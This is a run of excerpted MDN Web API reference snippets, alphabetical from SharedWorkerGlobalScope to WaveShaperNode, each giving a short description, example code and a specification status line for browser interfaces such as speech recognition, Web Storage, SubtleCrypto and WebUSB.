... syntax self.close(); example if you want to close your worker instance from inside the worker itself, you can call the following: close(); close() and self.close() are effectively equivalent — both represent close() being called from inside the worker's inner scope.
... specifications specification status comment html living standardthe definition of 'close()' in that specification.
SharedWorkerGlobalScope: connect event - Web APIs
bubbles no cancelable no interface messageevent event handler property sharedworkerglobalscope.onconnect examples this example shows a shared worker file — when a connection to the worker occurs from a main thread via a messageport, the onconnect event handler fires.
... the connecting port can be referenced through the event object's ports parameter; this reference can have an onmessage handler attached to it to handle messages coming in through the port, and its postmessage() method can be used to send messages back to the main thread using the worker.
...unning example, see our basic shared worker example (run shared worker.) addeventlistener equivalent you could also set up an event handler using the addeventlistener() method: self.addeventlistener('connect', function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } }); specifications specification status html living standardthe definition of 'connect event' in that specification.
SharedWorkerGlobalScope.onconnect - Web APIs
the onconnect property of the sharedworkerglobalscope interface is an event handler representing the code to be called when the connect event is raised — that is, when a messageport connection is opened between the associated sharedworker and the main thread.
... the connecting port can be referenced through the event object's ports parameter; this reference can have an onmessage handler attached to it to handle messages coming in through the port, and its postmessage() method can be used to send messages back to the main thread using the worker.
... specifications specification status comment html living standardthe definition of 'onconnect' in that specification.
SourceBuffer.appendWindowEnd - Web APIs
the appendwindowend property of the sourcebuffer interface controls the timestamp for the end of the append window, a timestamp range that can be used to filter what media data is appended to the sourcebuffer.
... syntax var myappendwindowend = sourcebuffer.appendwindowend; sourcebuffer.appendwindowend = 120.0; value a double, indicating the end time of the append window, in seconds.
... example tbd specifications specification status comment media source extensionsthe definition of 'appendwindowend' in that specification.
SourceBuffer.appendWindowStart - Web APIs
the appendwindowstart property of the sourcebuffer interface controls the timestamp for the start of the append window, a timestamp range that can be used to filter what media data is appended to the sourcebuffer.
... syntax var myappendwindowstart = sourcebuffer.appendwindowstart; sourcebuffer.appendwindowstart = 2.0; value a double, indicating the start time of the append window, in seconds.
... example tbd specifications specification status comment media source extensionsthe definition of 'appendwindowstart' in that specification.
SourceBuffer.remove() - Web APIs
this method can only be called when sourcebuffer.updating equals false.
... if sourcebuffer.updating is not equal to false, call sourcebuffer.abort().
... specifications specification status comment media source extensionsthe definition of 'remove()' in that specification.
SpeechGrammarList.addFromString() - Web APIs
the value can be between 0.0 and 1.0; if not specified, the default used is 1.0.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'addfromstring()' in that speci...
...fication.
SpeechGrammarList.length - Web APIs
syntax var mylistlength = speechgrammarlistinstance.length; value a number indicating the number of speechgrammar objects contained in the speechgrammarlist.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.length; // should return 1.
... specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognition.stop() - Web APIs
the stop() method of the web speech api stops the speech recognition service from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = d...
...ocument.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'stop()' in that specification.
SpeechRecognitionAlternative.confidence - Web APIs
// it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log('confidence: ' + event.results[0][0].confidence); } specifications specification status comment web speech apithe definition of 'confidence' in that specification.
SpeechRecognitionAlternative - Web APIs
// it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionalternative' in that specification.
SpeechRecognitionEvent.emma - Web APIs
note: emma is defined in the specification emma: extensible multimodal annotation markup language.
... you can see muliple emma examples in the spec.
...the exact contents can vary across user agents and recognition engines, but all supporting implementations will expose a valid xml document complete with an emma namespace.
SpeechRecognitionEvent - Web APIs
// it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionevent' in that specification.
SpeechRecognitionResult.isFinal - Web APIs
// it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results[0].isfinal); } specifications specification status comment web speech apithe definition of 'isfinal' in that specification.
SpeechRecognitionResult.item() - Web APIs
// it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResult.length - Web APIs
// it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results[0].length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResult - Web APIs
// it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresult' in that specification.
SpeechRecognitionResultList.item() - Web APIs
// it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResultList.length - Web APIs
// it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results.length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechSynthesis.onvoiceschanged - Web APIs
event handler that will run when the list of speechsynthesisvoice objects that would be returned by the speechsynthesis.getvoices() method has changed (when the voiceschanged event fires.) this may occur when speech synthesis is being done on the server-side and the voices list is being determined asynchronously, or when client-side voices are installed/uninstalled while a speech synthesis application is running.
...}; examples this could be used to populate a list of voices that the user can choose between when the event fires (see our speak easy synthesis demo.) note that firefox doesn't support it at present, and will just return a list of voices when speechsynthesis.getvoices() is fired.
... ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } specifications specification status comment web speech apithe definition of 'onvoiceschanged' in that specification.
SpeechSynthesis: voiceschanged event - Web APIs
the voiceschanged event of the web speech api is fired when the list of speechsynthesisvoice objects that would be returned by the speechsynthesis.getvoices() method has changed (when the voiceschanged event fires.) bubbles no cancelable no interface event event handler property onvoiceschanged examples this could be used to repopulate a list of voices that the user can choose between when the event fires.
... you can use the voiceschanged event in an addeventlistener method: var synth = window.speechsynthesis; synth.addeventlistener('voiceschanged', function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } }); or use the onvoiceschanged event handler property: synth.onvoiceschanged = function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; opti...
...on.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } specifications specification status comment web speech apithe definition of 'speech synthesis events' in that specification.
SpeechSynthesisVoice.voiceURI - Web APIs
the voiceuri read-only property of the speechsynthesisvoice interface returns the type of uri and location of the speech synthesis service for this voice.
...this is a generic uri and can point to local or remote services, e.g.
...[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].voiceuri); // on mac, this returns urns, for example 'urn:moz-tts:osx:com.apple.speech.synthesis.voice.daniel' option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'voiceuri' in that specification.
StaticRange.endOffset - Web APIs
syntax var endoffset = staticrange.endoffset value an integer value indicating the number of characters into the node indicated by endcontainer at which the final character of the range is located.
... specifications specification status comment domthe definition of 'endoffset' in that specification.
... living standard static rangethe definition of 'endoffset' in that specification.
StaticRange.startOffset - Web APIs
syntax var startoffset = staticrange.startoffset value an integer value indicating the number of characters into the node indicated by startcontainer at which the first character of the range is located.
... specifications specification status comment domthe definition of 'startoffset' in that specification.
... living standard static rangethe definition of 'startoffset' in that specification.
StereoPannerNode.StereoPannerNode() - Web APIs
the stereopannernode() constructor of the web audio api creates a new stereopannernode object which is an audionode that represents a simple stereo panner node that can be used to pan an audio stream left or right.
... options optional options are as follows: pan: a floating point number in the range [-1,1] indicating the position of an audionode in an output image.
... specifications specification status comment web audio apithe definition of 'stereopannernode()' in that specification.
Storage.clear() - Web APIs
WebAPIStorageclear
examples the following function creates three data entries in local storage, and then deletes them by using clear().
... function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'migato.png'); localstorage.clear(); } note: for a real world example, see our web storage demo.
... specifications specification status comment html living standardthe definition of 'storage.clear' in that specification.
Storage.getItem() - Web APIs
WebAPIStoragegetItem
example the following function retrieves three data items from local storage, then uses them to set custom styles on a page.
... function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.backgroundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } note: to see this used within a real world example, see our web storage demo.
... specifications specification status comment html living standardthe definition of 'storage.getitem' in that specification.
StylePropertyMapReadOnly - Web APIs
stylepropertymapreadonly.has() indicates whether the specified property is in the stylepropertymapreadonly object.
...we can add some css, or not.
... adding a <dt> and <dd> for each for (const [prop, val] of stylepropertymap) { // properties const cssproperty = document.createelement('dt'); cssproperty.appendchild(document.createtextnode(prop)); styleslist.appendchild(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.appendchild(document.createtextnode(val)); styleslist.appendchild(cssvalue); } specifications specification status comment css typed om level 1the definition of 'stylepropertymapreadonly' in that specification.
StyleSheet.disabled - Web APIs
} specification specification status comment css object model (cssom)the definition of 'stylesheet.disabled' in that specification.
... working draft no change from document object model (dom) level 2 style specification.
... document object model (dom) level 2 style specificationthe definition of 'stylesheet.disabled' in that specification.
Stylesheet.href - Web APIs
WebAPIStyleSheethref
the href property of the stylesheet interface returns the location of the style sheet.
... example // on a local machine: <html> <head> <link rel="stylesheet" href="example.css" type="text/css" /> <script> function sref() { alert(document.stylesheets[0].href); } </script> </head> <body> <div class="thunder">thunder</div> <button onclick="sref()">ss</button> </body> </html> // returns "file:////c:/windows/desktop/example.css notes if the style sheet is a linked style sheet, the value of its attribute is its location.
... specifications specification status comment css object model (cssom)the definition of 'stylesheet: href' in that specification.
SubmitEvent - Web APIs
examples in this example, a shopping cart may have an assortment of different submit buttons depending on factors such as the user's settings, the shop's settings, and any minimum or maximum shopping card totals established by the payment processors.
...with that in hand, we can call a processorder() function to handle the order, passing along the form and the handler id.
... specifications specification status comment html living standardthe definition of 'submitevent' in that specification.
SubtleCrypto.decrypt() - Web APIs
the values given for the extra parameters must match those passed into the corresponding encrypt() call.
... examples note: you can try the working examples on github.
... function decryptmessage(key, ciphertext) { return window.crypto.subtle.decrypt( { name: "aes-gcm", iv: iv }, key, ciphertext ); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.decrypt()' in that specification.
SubtleCrypto.deriveBits() - Web APIs
the derivebits() method of the subtlecrypto interface can be used to derive an array of bits from a base key.
... examples note: you can try the working examples on github.
...lue.classlist.add("fade-in"); derivedbitsvalue.addeventlistener("animationend", () => { derivedbitsvalue.classlist.remove("fade-in"); }); derivedbitsvalue.textcontent = `${buffer}...[${derivedbits.bytelength} bytes total]`; } const derivebitsbutton = document.queryselector(".pbkdf2 .derive-bits-button"); derivebitsbutton.addeventlistener("click", () => { getderivedbits(); }); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.derivebits()' in that specification.
TaskAttributionTiming - Web APIs
the frame context, also called the container, is the iframe, embed or object that is being implicated, on the whole, for a long task.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/w...
... specifications specification status comment long tasks api 1the definition of 'taskattributiontiming' in that specification.
TextDecoder() - Web APIs
eek", "ecma-118", "elot_928", "greek", "greek8", "iso-8859-7", "iso-ir-126", "iso8859-7", "iso88597", "iso_8859-7", "iso_8859-7:1987", "sun_eu_greek" 'iso-8859-7' "csiso88598e", "csisolatinhebrew", "hebrew", "iso-8859-8", "iso-8859-8-e", "iso-ir-138", "iso8859-8", "iso88598", "iso_8859-8", "iso_8859-8:1988", "visual" 'iso-8859-8' "csiso88598i", "iso-8859-8-i", "logical" 'iso-8859-8i' "csisolatin6", "iso-8859-10", "iso-ir-157", "iso8859-10", "iso885910", "l6", "latin6" 'iso-8859-10' "iso-8859-13", "iso8859-13", "iso885913" 'iso-8859-13' "iso-8859-14", "iso8859-14", "iso885914" 'iso-8859-14' "csisolatin9", "iso-8859-15", "iso8859-15", "iso885915", "l9", "latin9" 'iso-8859-15' "iso-88...
... "windows-949" 'euc-kr' "csiso2022kr", "iso-2022-kr" 'iso-2022-kr' "utf-16be" 'utf-16be' "utf-16", "utf-16le" 'utf-16le' "x-user-defined" 'x-user-defined' "iso-2022-cn", "iso-2022-cn-ext" 'replacement' optionsoptional is a textdecoderoptions dictionary with the property: fatal a boolean flag indicating if the textdecoder.decode() method must throw a domexception with the "encodingerror" value when an coding error is found.
... specifications specification status comment encodingthe definition of 'textdecoder()' in that specification.
TextDecoder.prototype.encoding - Web APIs
it can be one of the following values: the recommended encoding for the web: 'utf-8'.
...it can happen with iso-2022-cn and iso-2022-cn-ext.
... syntax var b = decoder.decoding; specifications specification status comment encodingthe definition of 'textdecoder.encoding' in that specification.
TextDecoder - Web APIs
textdecoder.prototype.fatalread only is a boolean indicating whether the error mode is fatal.
... textdecoder.prototype.ignorebomread only is a boolean indicating whether the byte order marker is ignored.
... specifications specification status comment encodingthe definition of 'textdecoder' in that specification.
getTrackById() - Web APIs
syntax var thetrack = texttracklist.gettrackbyid(id); paramters id a domstring indicating the id of the track to locate within the track list.
... return value a texttrack object indicating the first track found within the texttracklist whose id matches the specified string.
... specifications specification status comment html living standardthe definition of 'texttracklist.gettrackbyid()' in that specification.
TimeEvent - Web APIs
WebAPITimeEvent
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d...
...for this event type, indicates the repeat number for the animation.
...this method may only be called before the timeevent has been dispatched via the dispatchevent method, though it may be called multiple times during that phase if necessary.
Touch.force - Web APIs
WebAPITouchforce
this is a value between 0.0 (no pressure) and 1.0 (the maximum amount of pressure the hardware can recognize).
...this property is a relative value of pressure applied, in the range 0.0 to 1.0, where 0.0 is no pressure, and 1.0 is the highest level of pressure the touch device is capable of sensing.
... console.log("targettouches[" + i + "].force = " + e.targettouches[i].force); } }, false); specifications specification status comment touch events – level 2 draft initial definition.
Touch.radiusY - Web APIs
WebAPITouchradiusY
the value is in css pixels of the same scale as touch.screenx.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... specifications specification status comment touch events – level 2 draft non-stable version.
TrackDefault.TrackDefault() - Web APIs
can be audio, video, or text.
...if not specified, this value will be an empty string and the sourcebuffer can contain any tracks of the specified type.
... errors when this constructor is invoked, the following errors can occur: error explanation invalidaccesserror the supplied language is not a valid language code, e.g.
TransitionEvent() - Web APIs
it is case-sensitive and can only be: 'transitionend'.
...for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
... specifications specification status comment css transitionsthe definition of 'transitionevent()' in that specification.
TransitionEvent - Web APIs
types of transitionevent transitioncancel an event fired when a css transition has been cancelled.
... transitionevent.inittransitionevent() initializes a transitionevent created using the deprecated document.createevent("transitionevent") method.
... specifications specification status comment css transitionsthe definition of 'transitionevent' in that specification.
TreeWalker.filter - Web APIs
WebAPITreeWalkerfilter
when creating the treewalker, the filter object is passed in as the third parameter, and its method nodefilter.acceptnode() is called on every single node to determine whether or not to accept it.
... syntax nodefilter = treewalker.filter; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodefilter = treewalker.filter; // document.body in this case specifications specification status comment domthe definition of 'treewalker.filter' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.filter' in that specification.
TypeInfo - Web APIs
WebAPITypeInfo
properties typeinfo.typename read only returns a domstring indicating the type's name.
... typeinfo.typenamespace read only returns a domstring indicating the type's namespace within the schema.
... constants constant value derivation_restriction 1 derivation_extension 2 derivation_union 4 derivation_list 8 specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'typeinfo' in that specification.
UIEvent() - Web APIs
WebAPIUIEventUIEvent
sourcecapabilities: an instance of the inputdevicecapabilities interface which provides information about the physical device responsible for generating a touch event.
... specifications specification status comment inputdevicecapabilities draft added sourcecapabilities property.
... document object model (dom) level 3 events specificationthe definition of 'uievent()' in that specification.
UIEvent.isChar - Web APIs
WebAPIUIEventisChar
the uievent.ischar read-only property returns a boolean indicating whether the event produced a key character or not.
...when this is the case, ischar returns false.
... if (event.ischar) { characterbuffer += e.which; } specification this property is not part of any specification.
UIEvent.pageY - Web APIs
WebAPIUIEventpageY
the uievent.pagey read-only property returns the vertical coordinate of the event relative to the whole document.
...this property takes into account any vertical scrolling of the page.
...</div> <div id="d3"> <form name="form_coords"> parent element id: <input type="text" name="parentid" size="7" /><br /> pagex:<input type="text" name="pagexcoords" size="7" /> pagey:<input type="text" name="pageycoords" size="7" /><br /> layerx:<input type="text" name="layerxcoords" size="7" /> layery:<input type="text" name="layerycoords" size="7" /> </form> </div> </body> </html> specifications this property is not part of any specification.
UIEvent.view - Web APIs
WebAPIUIEventview
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'uievent' in that specification.
... obsolete from document object model (dom) level 2 events specification, changed the type of view from abstractview to windowproxy.
... document object model (dom) level 2 events specificationthe definition of 'uievent' in that specification.
ULongRange - Web APIs
if no match can be found that is within the given range, an error will occur.
... specifications specification status comment media capture and streamsthe definition of 'ulongrange' in that specification.
... candidate recommendation initial definition ...
URLSearchParams.forEach() - Web APIs
the foreach() method of the urlsearchparams interface allows iteration through all values contained in this object via a callback function.
... syntax searchparams.foreach(callback); parameters callback a callback function that is executed against each parameter, with the param value provided as its parameter.
... examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // log the values searchparams.foreach(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment urlthe definition of 'foreach() (see "iterable")' in that specification.
URLSearchParams.set() - Web APIs
you can copy and paste the example in a code environment like codepen, jsfiddle, or the multi-line javascript interpreter in firefox.
... line #44: tries to automatically open a new window/tab with the generated url (when uncommented).
...\t'https://duckduckgo.com/html/?q=!+' )\t// test", "/*", " * bla bla ", "*/", "", "/* bla bla */", "", "// bla bla ", "", "these shouldn\'t work:", "console.log(\"http://foo.co.uk/\")", "var url = \"http://regexr.com/foo.html?q=bar\"", "alert(\"https://mediatemple.net\")", ] , true ) console.info( url, url.tostring() ) // window.open( url, 'regex_site' ) specifications specification status comment urlthe definition of 'set()' in that specification.
USBAlternateInterface - Web APIs
an interface includes one or more alternate settings which can configure a set of endpoints based on the operating mode of the device.
...a value of 0xff indicates a vendor-defined interface.
... specifications specification status comment webusbthe definition of 'usbalternateinterface' in that specification.
USBDevice - Web APIs
WebAPIUSBDevice
usbdevice.opened read only indicates whether a session has been started with a paired usb device.
... usbdevice.reset() returns a promise that resolves when the device is reset and all app operations canceled and their promises rejected.
... specifications specification status comment webusbthe definition of 'usbdevice' in that specification.
USBIsochronousInTransferPacket - Web APIs
the usbisochronousintransferpacket interface of the webusb api is part of the response from a call to the isochronoustransferin() method of the usbdevice interface.
... "stall" - the device indicated an error by generating a stall condition on the endpoint.
... specifications specification status comment webusbthe definition of 'usbisochronousintransferpacket' in that specification.
USBIsochronousOutTransferPacket - Web APIs
the usbisochronousouttransferpacket interface of the webusb api is part of the response from a call to the isochronoustransferout() method of the usbdevice interface.
... "stall" - the device indicated an error by generating a stall condition on the endpoint.
... specifications specification status comment webusbthe definition of 'usbisochronousouttransferpacket' in that specification.
VRStageParameters - Web APIs
the vrstageparameters interface of the webvr api represents the values describing the the stage area for devices that support room-scale experiences.
... examples var info = document.queryselector('p'); var vrdisplay; navigator.getvrdisplays().then(function(displays) { vrdisplay = displays[0]; var stageparams = vrdisplay.stageparameters; // stageparams is a vrstageparameters object if(stageparams === null) { info.textcontent = 'your vr hardware does not support room-scale experiences.' } else { info.innerhtml = '<strong>display stage parameters</strong>' + '<br>sitting to standing transform: ' + stageparams.sittingtostandingtransform + '<br>play area width (m): ' + stageparams.sizex + '<br>play area depth (m): ' + stageparams.sizey } }); specifications specification status comment ...
... webvr 1.1the definition of 'vrstageparameters' in that specification.
VTTCue() - Web APIs
WebAPIVTTCueVTTCue
text a domstring providing the text that will be shown during the time span indicated by starttime and endtime.
...var cue = new vttcue(2, 3, 'cool text to be displayed'); specifications specification status comment webvtt: the web video text tracks formatthe definition of 'vttcue()' in that specification.
... candidate recommendation ...
VideoPlaybackQuality.totalVideoFrames - Web APIs
example this example calls getvideoplaybackquality() to obtain a videoplaybackquality object, then determines what percentage of frames have been lost by either corruption or being dropped.
... if that exceeds 10% (0.1), a function called lostframesthresholdexceeded() is called to, perhaps, update a quality indicator to show an increase in frame loss.
... specifications specification status comment media playback qualitythe definition of 'videoplaybackquality.totalvideoframes' in that specification.
VideoPlaybackQuality - Web APIs
a videoplaybackquality object is returned by the htmlvideoelement.getvideoplaybackquality() method and contains metrics that can be used to determine the playback quality of a video.
...the frame delay is the difference between a frame's theoretical presentation time and its effective display time.
... specifications specification status comment media playback qualitythe definition of 'videoplaybackquality' in that specification.
getTrackById - Web APIs
syntax var thetrack = videotracklist.gettrackbyid(id); paramters id a domstring indicating the id of the track to locate within the track list.
... return value a videotrack object indicating the first track found within the videotracklist whose id matches the specified string.
... specifications specification status comment html living standardthe definition of 'videotracklist.gettrackbyid()' in that specification.
WEBGL_compressed_texture_astc.getSupportedProfiles() - Web APIs
syntax sequence<domstring> ext.getsupportedprofiles(); return value an array of domstring elements indicating which astc profiles are supported by the implementation.
... currently, this can be: "ldr": low dynamic range.
... examples var ext = gl.getextension('webgl_compressed_texture_astc'); ext.getsupportedprofiles(); // ["ldr"] specifications specification status comment webgl_compressed_texture_astcthe definition of 'webgl_compressed_texture_astc' in that specification.
WEBGL_compressed_texture_atc - Web APIs
availability: atc compression is typically available on mobile devices with adreno gpus, that are currently only built into qualcomm snapdragon devices.
... constants the compressed texture formats are exposed by 3 constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
... examples var ext = gl.getextension('webgl_compressed_texture_atc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_atc_webgl, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_atcthe definition of 'webgl_compressed_texture_atc' in that specification.
WEBGL_compressed_texture_pvrtc - Web APIs
availability: pvrtc is typically only available on mobile devices with powervr chipsets.
... constants the compressed texture formats are exposed by four constants and can be used in two functions: compressedteximage2d() (where the height and width parameters must be powers of 2) and compressedtexsubimage2d() (where the the height and width parameters must equal the current values of the existing texture and the xoffset and yoffset parameters must be 0).
... examples var ext = gl.getextension('webgl_compressed_texture_pvrtc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_pvrtc_4bppv1_img, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_pvrtcthe definition of 'webgl_compressed_texture_pvrtc' in that specification.
WakeLock.request() - Web APIs
WebAPIWakeLockrequest
exceptions notallowederror thrown when wake lock is not available, which can happen because: document is not allowed to use screen wake lock due to screen-wake-lock policy.
...the request() method is wrapped in a try...catch statement to account for if the browser refuses the request for any reason.
... const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'request()' in that specification.
WakeLock - Web APIs
WebAPIWakeLock
the wakelock interface of the screen wake lock api prevents device screens from dimming or locking when an application needs to keep running.
...the wakelock.request method is wrapped in a try...catch statement to account for if the browser refuses the request for any reason.
... const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'wakelock' in that specification.
WaveShaperNode.curve - Web APIs
note: the array can be a null value: in that case, no distortion is applied to the input signal.
... note: sigmoid functions are commonly used for distortion curves because of their natural properties.
... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'curve' in that specification.
WaveShaperNode.oversample - Web APIs
the oversample property of the waveshapernode interface is an enumerated value indicating if oversampling must be used.
... note: sigmoid functions are commonly used for distortion curves because of their natural properties.
